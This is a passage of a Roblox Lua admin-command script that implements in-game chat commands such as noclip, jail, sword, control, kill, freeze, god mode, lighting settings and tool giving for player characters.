  1342. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  1343. p.Size = Vector3.new(.2,.2,.2)
  1344. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1345. local motor1 = Instance.new("Motor", p)
  1346. motor1.Part0 = p
  1347. motor1.Part1 = torso
  1348. motor1.MaxVelocity = .01
  1349. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1350. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1351. local wave = false
  1352. repeat wait(1/44)
  1353. local ang = 0.1
  1354. local oldmag = torso.Velocity.magnitude
  1355. local mv = .002
  1356. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1357. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1358. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1359. motor1.DesiredAngle = -ang
  1360. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1361. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1362. if torso.Velocity.magnitude < .1 then wait(.1) end
  1363. until not p or p.Parent ~= torso.Parent
  1364. script:Destroy()
  1365. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1366. end
  1367. end))
  1368. end
  1369. end
  1370.  
  1371. if msg:lower():sub(1,7) == "uncape " then
  1372. local plrz = GetPlr(plr, msg:lower():sub(8))
  1373. for i, v in pairs(plrz) do
  1374. coroutine.resume(coroutine.create(function()
  1375. if v and v:findFirstChild("PlayerGui") and v.Character then
  1376. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1377. end
  1378. end))
  1379. end
  1380. end
  1381.  
  1382. if msg:lower():sub(1,7) == "noclip " then
  1383. local plrz = GetPlr(plr, msg:lower():sub(8))
  1384. for i, v in pairs(plrz) do
  1385. coroutine.resume(coroutine.create(function()
  1386. if v and v:findFirstChild("PlayerGui") then
  1387. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  1388. cl.Parent = v.PlayerGui cl.Disabled = false
  1389. end
  1390. end))
  1391. end
  1392. end
  1393.  
  1394. if msg:lower():sub(1,5) == "clip " then
  1395. local plrz = GetPlr(plr, msg:lower():sub(6))
  1396. for i, v in pairs(plrz) do
  1397. coroutine.resume(coroutine.create(function()
  1398. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1399. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  1400. v.Character.Torso.Anchored = false
  1401. wait(.1) v.Character.Humanoid.PlatformStand = false
  1402. end
  1403. end))
  1404. end
  1405. end
  1406.  
  1407. if msg:lower():sub(1,5) == "jail " then
  1408. local plrz = GetPlr(plr, msg:lower():sub(6))
  1409. for i, v in pairs(plrz) do
  1410. coroutine.resume(coroutine.create(function()
  1411. if v and v.Character and v.Character:findFirstChild("Torso") then
  1412. local vname = v.Name
  1413. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  1414. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  1415. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  1416. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  1417. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  1418. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  1419. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  1420. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  1421. end)
  1422. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  1423. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  1424. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  1425. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  1426. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  1427. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  1428. local msh2 = msh:Clone() msh2.Parent = back
  1429. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  1430. local msh4 = msh3:Clone() msh4.Parent = left
  1431. v.Character.Torso.CFrame = cf
  1432. end
  1433. end))
  1434. end
  1435. end
  1436.  
  1437. if msg:lower():sub(1,7) == "unjail " then
  1438. local plrz = GetPlr(plr, msg:lower():sub(8))
  1439. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  1440. end
  1441.  
  1442. if msg:lower():sub(1,11) == "starttools " then
  1443. local plrz = GetPlr(plr, msg:lower():sub(12))
  1444. for i, v in pairs(plrz) do
  1445. coroutine.resume(coroutine.create(function()
  1446. if v and v:findFirstChild("Backpack") then
  1447. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  1448. end
  1449. end))
  1450. end
  1451. end
  1452.  
  1453. if msg:lower():sub(1,6) == "sword " then
  1454. local plrz = GetPlr(plr, msg:lower():sub(7))
  1455. for i, v in pairs(plrz) do
  1456. coroutine.resume(coroutine.create(function()
  1457. if v and v:findFirstChild("Backpack") then
  1458. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  1459. sword.GripForward = Vector3.new(-1,0,0)
  1460. sword.GripPos = Vector3.new(0,0,-1.5)
  1461. sword.GripRight = Vector3.new(0,1,0)
  1462. sword.GripUp = Vector3.new(0,0,1)
  1463. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  1464. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  1465. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  1466. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1467. local Damage = 15
  1468. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  1469. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  1470. SlashSound.Volume = 1
  1471. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  1472. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  1473. LungeSound.Volume = 1
  1474. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  1475. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  1476. UnsheathSound.Volume = 1
  1477. local last = 0
  1478. script.Parent.Handle.Touched:connect(function(hit)
  1479. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  1480. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  1481. hit.Parent.Humanoid:TakeDamage(Damage)
  1482. end
  1483. end)
  1484. script.Parent.Activated:connect(function()
  1485. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  1486. script.Parent.Enabled = false
  1487. local tick = game:service("RunService").Stepped:wait()
  1488. if tick - last <= .2 then
  1489. LungeSound:play()
  1490. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  1491. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  1492. wait(.2)
  1493. script.Parent.GripForward = Vector3.new(0,0,1)
  1494. script.Parent.GripRight = Vector3.new(0,-1,0)
  1495. script.Parent.GripUp = Vector3.new(-1,0,0)
  1496. wait(.3)
  1497. frc:Destroy() wait(.5)
  1498. script.Parent.GripForward = Vector3.new(-1,0,0)
  1499. script.Parent.GripRight = Vector3.new(0,1,0)
  1500. script.Parent.GripUp = Vector3.new(0,0,1)
  1501. else
  1502. SlashSound:play()
  1503. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  1504. end
  1505. last = tick
  1506. script.Parent.Enabled = true
  1507. end)
  1508. script.Parent.Equipped:connect(function(mouse)
  1509. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  1510. UnsheathSound:play()
  1511. script.Parent.Enabled = true
  1512. if not mouse then return end
  1513. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  1514. end)]] cl.Disabled = false
  1515. end
  1516. end))
  1517. end
  1518. end
  1519.  
  1520. if msg:lower():sub(1,6) == "clone " then
  1521. local plrz = GetPlr(plr, msg:lower():sub(7))
  1522. for i, v in pairs(plrz) do
  1523. coroutine.resume(coroutine.create(function()
  1524. if v and v.Character then
  1525. v.Character.Archivable = true
  1526. local cl = v.Character:Clone()
  1527. table.insert(objects,cl)
  1528. cl.Parent = game.Workspace
  1529. cl:MoveTo(v.Character:GetModelCFrame().p)
  1530. cl:MakeJoints()
  1531. v.Character.Archivable = false
  1532. end
  1533. end))
  1534. end
  1535. end
  1536.  
  1537. if msg:lower():sub(1,8) == "control " then
  1538. local plrz = GetPlr(plr, msg:lower():sub(9))
  1539. for i, v in pairs(plrz) do
  1540. coroutine.resume(coroutine.create(function()
  1541. if v and v.Character then
  1542. v.Character.Humanoid.PlatformStand = true
  1543. local w = Instance.new("Weld", plr.Character.Torso )
  1544. w.Part0 = plr.Character.Torso
  1545. w.Part1 = v.Character.Torso
  1546. local w2 = Instance.new("Weld", plr.Character.Head)
  1547. w2.Part0 = plr.Character.Head
  1548. w2.Part1 = v.Character.Head
  1549. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  1550. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  1551. w3.Part1 = v.Character:findFirstChild("Right Arm")
  1552. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  1553. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  1554. w4.Part1 = v.Character:findFirstChild("Left Arm")
  1555. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  1556. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  1557. w5.Part1 = v.Character:findFirstChild("Right Leg")
  1558. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  1559. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  1560. w6.Part1 = v.Character:findFirstChild("Left Leg")
  1561. plr.Character.Head.face:Destroy()
  1562. for i, p in pairs(v.Character:children()) do
  1563. if p:IsA("BasePart") then
  1564. p.CanCollide = false
  1565. end
  1566. end
  1567. for i, p in pairs(plr.Character:children()) do
  1568. if p:IsA("BasePart") then
  1569. p.Transparency = 1
  1570. elseif p:IsA("Hat") then
  1571. p:Destroy()
  1572. end
  1573. end
  1574. v.Character.Parent = plr.Character
  1575. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  1576. end
  1577. end))
  1578. end
  1579. end
  1580.  
  1581. if msg:lower():sub(1,5) == "kill " then
  1582. local plrz = GetPlr(plr, msg:lower():sub(6))
  1583. for i, v in pairs(plrz) do
  1584. coroutine.resume(coroutine.create(function()
  1585. if v and v.Character then v.Character:BreakJoints() end
  1586. end))
  1587. end
  1588. end
  1589.  
  1590. if msg:lower():sub(1,8) == "respawn " then
  1591. local plrz = GetPlr(plr, msg:lower():sub(9))
  1592. for i, v in pairs(plrz) do
  1593. coroutine.resume(coroutine.create(function()
  1594. if v and v.Character then v:LoadCharacter() end
  1595. end))
  1596. end
  1597. end
  1598.  
  1599. if msg:lower():sub(1,5) == "trip " then
  1600. local plrz = GetPlr(plr, msg:lower():sub(6))
  1601. for i, v in pairs(plrz) do
  1602. coroutine.resume(coroutine.create(function()
  1603. if v and v.Character and v.Character:findFirstChild("Torso") then
  1604. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  1605. end
  1606. end))
  1607. end
  1608. end
  1609.  
  1610. if msg:lower():sub(1,5) == "stun " then
  1611. local plrz = GetPlr(plr, msg:lower():sub(6))
  1612. for i, v in pairs(plrz) do
  1613. coroutine.resume(coroutine.create(function()
  1614. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1615. v.Character.Humanoid.PlatformStand = true
  1616. end
  1617. end))
  1618. end
  1619. end
  1620.  
  1621. if msg:lower():sub(1,7) == "unstun " then
  1622. local plrz = GetPlr(plr, msg:lower():sub(8))
  1623. for i, v in pairs(plrz) do
  1624. coroutine.resume(coroutine.create(function()
  1625. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1626. v.Character.Humanoid.PlatformStand = false
  1627. end
  1628. end))
  1629. end
  1630. end
  1631.  
  1632. if msg:lower():sub(1,5) == "jump " then
  1633. local plrz = GetPlr(plr, msg:lower():sub(6))
  1634. for i, v in pairs(plrz) do
  1635. coroutine.resume(coroutine.create(function()
  1636. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1637. v.Character.Humanoid.Jump = true
  1638. end
  1639. end))
  1640. end
  1641. end
  1642.  
  1643. if msg:lower():sub(1,4) == "sit " then
  1644. local plrz = GetPlr(plr, msg:lower():sub(5))
  1645. for i, v in pairs(plrz) do
  1646. coroutine.resume(coroutine.create(function()
  1647. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1648. v.Character.Humanoid.Sit = true
  1649. end
  1650. end))
  1651. end
  1652. end
  1653.  
  1654. if msg:lower():sub(1,10) == "invisible " then
  1655. local plrz = GetPlr(plr, msg:lower():sub(11))
  1656. for i, v in pairs(plrz) do
  1657. coroutine.resume(coroutine.create(function()
  1658. if v and v.Character then
  1659. for a, obj in pairs(v.Character:children()) do
  1660. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  1661. end
  1662. end
  1663. end))
  1664. end
  1665. end
  1666.  
  1667. if msg:lower():sub(1,8) == "visible " then
  1668. local plrz = GetPlr(plr, msg:lower():sub(9))
  1669. for i, v in pairs(plrz) do
  1670. coroutine.resume(coroutine.create(function()
  1671. if v and v.Character then
  1672. for a, obj in pairs(v.Character:children()) do
  1673. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  1674. end
  1675. end
  1676. end))
  1677. end
  1678. end
  1679.  
  1680. if msg:lower():sub(1,5) == "lock " then
  1681. local plrz = GetPlr(plr, msg:lower():sub(6))
  1682. for i, v in pairs(plrz) do
  1683. coroutine.resume(coroutine.create(function()
  1684. if v and v.Character then
  1685. for a, obj in pairs(v.Character:children()) do
  1686. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  1687. end
  1688. end
  1689. end))
  1690. end
  1691. end
  1692.  
  1693. if msg:lower():sub(1,7) == "unlock " then
  1694. local plrz = GetPlr(plr, msg:lower():sub(8))
  1695. for i, v in pairs(plrz) do
  1696. coroutine.resume(coroutine.create(function()
  1697. if v and v.Character then
  1698. for a, obj in pairs(v.Character:children()) do
  1699. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  1700. end
  1701. end
  1702. end))
  1703. end
  1704. end
  1705.  
  1706. if msg:lower():sub(1,8) == "explode " then
  1707. local plrz = GetPlr(plr, msg:lower():sub(9))
  1708. for i, v in pairs(plrz) do
  1709. coroutine.resume(coroutine.create(function()
  1710. if v and v.Character and v.Character:findFirstChild("Torso") then
  1711. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  1712. end
  1713. end))
  1714. end
  1715. end
  1716.  
  1717. if msg:lower():sub(1,4) == "age " then
  1718. local plrz = GetPlr(plr, msg:lower():sub(5))
  1719. for i, v in pairs(plrz) do
  1720. coroutine.resume(coroutine.create(function()
  1721. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  1722. end))
  1723. end
  1724. end
  1725.  
  1726. if msg:lower():sub(1,5) == "fire " then
  1727. local plrz = GetPlr(plr, msg:lower():sub(6))
  1728. for i, v in pairs(plrz) do
  1729. coroutine.resume(coroutine.create(function()
  1730. if v and v.Character and v.Character:findFirstChild("Torso") then
  1731. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  1732. end
  1733. end))
  1734. end
  1735. end
  1736.  
  1737. if msg:lower():sub(1,7) == "unfire " then
  1738. local plrz = GetPlr(plr, msg:lower():sub(8))
  1739. for i, v in pairs(plrz) do
  1740. coroutine.resume(coroutine.create(function()
  1741. if v and v.Character and v.Character:findFirstChild("Torso") then
  1742. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  1743. end
  1744. end))
  1745. end
  1746. end
  1747.  
  1748. if msg:lower():sub(1,6) == "smoke " then
  1749. local plrz = GetPlr(plr, msg:lower():sub(7))
  1750. for i, v in pairs(plrz) do
  1751. coroutine.resume(coroutine.create(function()
  1752. if v and v.Character and v.Character:findFirstChild("Torso") then
  1753. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  1754. end
  1755. end))
  1756. end
  1757. end
  1758.  
  1759. if msg:lower():sub(1,8) == "unsmoke " then
  1760. local plrz = GetPlr(plr, msg:lower():sub(9))
  1761. for i, v in pairs(plrz) do
  1762. coroutine.resume(coroutine.create(function()
  1763. if v and v.Character and v.Character:findFirstChild("Torso") then
  1764. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  1765. end
  1766. end))
  1767. end
  1768. end
  1769.  
  1770. if msg:lower():sub(1,9) == "sparkles " then
  1771. local plrz = GetPlr(plr, msg:lower():sub(10))
  1772. for i, v in pairs(plrz) do
  1773. coroutine.resume(coroutine.create(function()
  1774. if v and v.Character and v.Character:findFirstChild("Torso") then
  1775. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1776. end
  1777. end))
  1778. end
  1779. end
  1780.  
  1781. if msg:lower():sub(1,11) == "unsparkles " then
  1782. local plrz = GetPlr(plr, msg:lower():sub(12))
  1783. for i, v in pairs(plrz) do
  1784. coroutine.resume(coroutine.create(function()
  1785. if v and v.Character and v.Character:findFirstChild("Torso") then
  1786. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1787. end
  1788. end))
  1789. end
  1790. end
  1791.  
  1792. if msg:lower():sub(1,3) == "ff " then
  1793. local plrz = GetPlr(plr, msg:lower():sub(4))
  1794. for i, v in pairs(plrz) do
  1795. coroutine.resume(coroutine.create(function()
  1796. if v and v.Character then Instance.new("ForceField", v.Character) end
  1797. end))
  1798. end
  1799. end
  1800.  
  1801. if msg:lower():sub(1,5) == "unff " then
  1802. local plrz = GetPlr(plr, msg:lower():sub(6))
  1803. for i, v in pairs(plrz) do
  1804. coroutine.resume(coroutine.create(function()
  1805. if v and v.Character then
  1806. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1807. end
  1808. end))
  1809. end
  1810. end
  1811.  
  1812. if msg:lower():sub(1,7) == "punish " then
  1813. local plrz = GetPlr(plr, msg:lower():sub(8))
  1814. for i, v in pairs(plrz) do
  1815. coroutine.resume(coroutine.create(function()
  1816. if v and v.Character then
  1817. v.Character.Parent = game:service("Lighting")
  1818. end
  1819. end))
  1820. end
  1821. end
  1822.  
  1823. if msg:lower():sub(1,9) == "unpunish " then
  1824. local plrz = GetPlr(plr, msg:lower():sub(10))
  1825. for i, v in pairs(plrz) do
  1826. coroutine.resume(coroutine.create(function()
  1827. if v and v.Character then
  1828. v.Character.Parent = game:service("Workspace")
  1829. v.Character:MakeJoints()
  1830. end
  1831. end))
  1832. end
  1833. end
  1834.  
  1835. if msg:lower():sub(1,7) == "freeze " then
  1836. local plrz = GetPlr(plr, msg:lower():sub(8))
  1837. for i, v in pairs(plrz) do
  1838. coroutine.resume(coroutine.create(function()
  1839. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1840. for a, obj in pairs(v.Character:children()) do
  1841. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1842. end
  1843. end
  1844. end))
  1845. end
  1846. end
  1847.  
  1848. if msg:lower():sub(1,5) == "thaw " then
  1849. local plrz = GetPlr(plr, msg:lower():sub(6))
  1850. for i, v in pairs(plrz) do
  1851. coroutine.resume(coroutine.create(function()
  1852. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1853. for a, obj in pairs(v.Character:children()) do
  1854. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1855. end
  1856. end
  1857. end))
  1858. end
  1859. end
  1860.  
  1861. if msg:lower():sub(1,5) == "heal " then
  1862. local plrz = GetPlr(plr, msg:lower():sub(6))
  1863. for i, v in pairs(plrz) do
  1864. coroutine.resume(coroutine.create(function()
  1865. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1866. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1867. end
  1868. end))
  1869. end
  1870. end
  1871.  
  1872. if msg:lower():sub(1,4) == "god " then
  1873. local plrz = GetPlr(plr, msg:lower():sub(5))
  1874. for i, v in pairs(plrz) do
  1875. coroutine.resume(coroutine.create(function()
  1876. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1877. v.Character.Humanoid.MaxHealth = math.huge
  1878. v.Character.Humanoid.Health = 9e9
  1879. end
  1880. end))
  1881. end
  1882. end
  1883.  
  1884. if msg:lower():sub(1,6) == "ungod " then
  1885. local plrz = GetPlr(plr, msg:lower():sub(7))
  1886. for i, v in pairs(plrz) do
  1887. coroutine.resume(coroutine.create(function()
  1888. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1889. v.Character.Humanoid.MaxHealth = 100
  1890. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1891. end
  1892. end))
  1893. end
  1894. end
  1895.  
  1896. if msg:lower():sub(1,8) == "ambient " then
  1897. local chk1 = msg:lower():sub(9):find(" ") + 8
  1898. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1899. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1900. end
  1901.  
  1902. if msg:lower():sub(1,11) == "brightness " then
  1903. game.Lighting.Brightness = msg:sub(12)
  1904. end
  1905.  
  1906. if msg:lower():sub(1,5) == "time " then
  1907. game.Lighting.TimeOfDay = msg:sub(6)
  1908. end
  1909.  
  1910. if msg:lower():sub(1,9) == "fogcolor " then
  1911. local chk1 = msg:lower():sub(10):find(" ") + 9
  1912. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1913. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1914. end
  1915.  
  1916. if msg:lower():sub(1,7) == "fogend " then
  1917. game.Lighting.FogEnd = msg:sub(8)
  1918. end
  1919.  
  1920. if msg:lower():sub(1,9) == "fogstart " then
  1921. game.Lighting.FogStart = msg:sub(10)
  1922. end
  1923.  
  1924. if msg:lower():sub(1,7) == "btools " then
  1925. local plrz = GetPlr(plr, msg:lower():sub(8))
  1926. for i, v in pairs(plrz) do
  1927. coroutine.resume(coroutine.create(function()
  1928. if v and v:findFirstChild("Backpack") then
  1929. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1930. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1931. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1932. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1933. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1934. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1935. local sb
  1936. local hs
  1937. local pdist
  1938.  
  1939. script.Parent.Selected:connect(function(mouse)
  1940. if not mouse then return end
  1941. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1942. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1943. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1944. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1945. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1946. end)
  1947.  
  1948. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1949. end
  1950. end))
  1951. end
  1952. end
  1953.  
  1954. if msg:lower():sub(1,12) == "startergive " then
  1955. local chk1 = msg:lower():sub(13):find(" ") + 12
  1956. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  1957. for i, v in pairs(plrz) do
  1958. coroutine.resume(coroutine.create(function()
  1959. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  1960. for a, tool in pairs(game.Lighting:children()) do
  1961. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1962. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  1963. end
  1964. end
  1965. end
  1966. end))
  1967. end
  1968. end
  1969.  
  1970. if msg:lower():sub(1,5) == "give " then
  1971. local chk1 = msg:lower():sub(6):find(" ") + 5
  1972. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1973. for i, v in pairs(plrz) do
  1974. coroutine.resume(coroutine.create(function()
  1975. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1976. for a, tool in pairs(game.Lighting:children()) do
  1977. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1978. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1979. end
  1980. end
  1981. end
  1982. end))
  1983. end
  1984. end
  1985.  
